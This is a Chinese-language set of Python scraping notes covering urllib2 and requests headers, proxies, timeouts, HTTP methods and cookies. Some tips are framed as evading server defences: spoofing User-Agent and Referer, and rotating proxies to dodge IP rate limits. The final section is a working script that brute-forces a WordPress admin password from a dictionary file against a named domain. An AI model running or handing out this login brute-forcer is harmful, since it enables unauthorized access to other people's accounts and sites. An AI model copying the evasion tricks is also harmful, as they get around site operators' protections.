设置headers

1
2
3
4
5
6
7
8
9
10
11
url = "http://www.server.com/login"
# 设置请求的身份,如果没有,服务器可能会没有响应
user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)"
values = {"username": "geek", "password": "**********"}
# 在headers中设置agent
headers = {"User-Agent": user_agent}
data = urllib.urlencode(values)
# 在request中添加headers
request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request)
page = response.read()

对付“反盗链”

1
2
3
# 对付“反盗链”(服务器会识别headers中的referer是不是它自己,如果不是则不响应),构建以下headers
headers = {"User-Agent": "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)",
"Referer": "http://www.zhihu.com/articles"}

headers的一些其他属性

1
2
3
4
5
6
7
# headers的一些其他属性:
# User-Agent : 有些服务器或 Proxy 会通过该值来判断是否是浏览器发出的请求
# Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。
# application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用
# application/json : 在 JSON RPC 调用时使用
# application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
# 在使用服务器提供的 RESTful 或 SOAP 服务时, Content-Type 设置错误会导致服务器拒绝服务

设置代理

1
2
3
4
5
6
7
8
9
10
11
12
# Proxy(代理)的设置
# urllib2 默认会使用环境变量 http_proxy 来设置 HTTP Proxy。
# 假如一个网站它会检测某一段时间某个IP 的访问次数,如果访问次数过多,它会禁止你的访问。
# 所以可以设置一些代理服务器来帮助你做工作,每隔一段时间换一个代理
enable_proxy = True
proxy_handler = urllib2.ProxyHandler({"http": 'http://some-proxy.com:8080'})
null_proxy_handler = urllib2.ProxyHandler({})
if enable_proxy:
opener = urllib2.build_opener(proxy_handler)
else:
opener = urllib2.build_opener(null_proxy_handler)
urllib2.install_opener(opener)

timeout的设置

1
2
3
4
5
# Timeout设置
# 为了解决一些网站实在响应过慢而造成的影响
# 如果第二个参数data为空那么要特别指定是timeout是多少,写明形参,如果data已经传入,则不必声明
response = urllib2.urlopen('http://www.baidu.com', timeout=10)
response = urllib2.urlopen('http://www.baidu.com', data, 10)

http的六种协议

1
2
3
4
5
6
7
8
9
10
11
12
13
# http协议有六种请求方法,get,head,put,delete,post,options,我们有时候需要用到PUT方式或者DELETE方式请求
# PUT:这个方法比较少见。HTML表单也不支持这个。
# 本质上来讲, PUT和POST极为相似,都是向服务器发送数据,但它们之间有一个重要区别,PUT通常指定了资源的存放位置,而POST则没有,POST的数据存放位置由服务器自己决定。
# DELETE:删除某一个资源。
request = urllib2.Request(url, data=data)
request.get_method = lambda: 'PUT' # or 'DELETE'
response = urllib2.urlopen(request)
# 可以通过下面的方法把 Debug Log 打开,这样收发包的内容就会在屏幕上打印出来,方便调试
httpHandler = urllib2.HTTPHandler(debuglevel=1)
httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
opener = urllib2.build_opener(httpHandler, httpsHandler)
urllib2.install_opener(opener)
response = urllib2.urlopen('http://www.baidu.com')

cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from requests.cookies import RequestsCookieJar

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36',
}
url = 'Target_URL'
res = requests.get(url, headers)
# print(res.cookies)

# 创建一个cookiejar实例
cookie_jar = RequestsCookieJar()
# 将获取的cookie转化为字典
resd = requests.utils.dict_from_cookiejar(res.cookies)
# 放开下面的,可查看cookie 的 key/value
# print(requests.utils.cookiejar_from_dict(resd))
# cookie_jar.set('cookie[key]', 'cookie[value]', domain='域名')
cookie_jar.set([key for key in resd][0], resd[[key for key in resd][0]], domain='www.123.com')

# 向请求头中添加cookie
res = requests.get(url, headers, cookies=cookie_jar)
print(res.status_code)
print(res.text.encode('utf-8', errors='ignore'))

a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
'''
Program:WordPress后台登陆
Function:读取字典逐个登陆Wordpress后台,在知道用户名的情况下,可用来爆破登陆密码

Version:Python3.6
'''
#导入requests库,跟2.x的urllib2和3.x的urllib.request差不多的功能,不过好像更强大
import requests

#登陆后台
url = 'http://www.bywalks.com/wp-login.php'

#HTTP的header头,添加个user-agent,有的网站会从User-Agent来判断是否是程序访问
#如果是程序访问则不允许,添加个user-agent就是欺骗这种防护
#在这里的后台wordpress好像不用加
headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
#访问也米欧庵后,保留cookie
s = requests.Session()
#加个headers
s.headers.update(headers)
#防止报错代码
try:
#打开pwd.txt
with open('pwd.txt','r') as f:
#逐行访问并且尝试
for pwd in f:
#去除每行的\n,当你读取一行时,如果用二进制显示,会发现每行都有个\n
pwd = pwd.replace('\n','')
#print(pwd)
#构造post数据,log=username,pwd=password
data = {
"log":"XXX",
"pwd":pwd,
"rememberme":"forever"
}
#尝试登陆
req = s.post(url,data = data)
print(req.status_code)
#通过某些特征判断是否登陆成功
if '欢迎使用WordPress' in req.text:
print('爆破成功,密码为:'+pwd)
break
#如果出错,输出具体错误
except requests.RequestException as e:
print(e)